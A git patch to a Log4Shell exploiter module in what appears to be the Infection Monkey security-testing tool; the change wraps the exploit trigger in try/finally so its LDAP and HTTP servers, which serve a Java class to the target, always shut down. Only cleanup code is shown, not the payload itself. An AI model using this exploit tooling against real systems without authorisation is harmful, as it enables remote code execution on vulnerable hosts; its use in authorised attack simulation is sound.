From 7bace927f8df266bf5f55527ebb53d58b8dbecb1 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 6 Jan 2022 12:56:04 +0200 Subject: [PATCH] Agent: fix log4shell to always close ldap and http servers, even on errors --- monkey/infection_monkey/exploit/log4shell.py | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index bb2ac472f..86f564dfc 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -69,16 +69,17 @@ class Log4ShellExploiter(WebRCE): ldap_thread = ldap.get_run_thread() ldap_thread.start() - self._trigger_exploit() + try: + self.exploit(None, None) + finally: + http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + http_thread.stop() - http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - http_thread.stop() + java_class_http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + Log4ShellExploiter.HTTPHandler.stop = True - java_class_http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - Log4ShellExploiter.HTTPHandler.stop = True - - ldap_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - ldap.stop() + ldap_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + ldap.stop() # If java class was downloaded it means that victim is vulnerable return Log4ShellExploiter.HTTPHandler.class_downloaded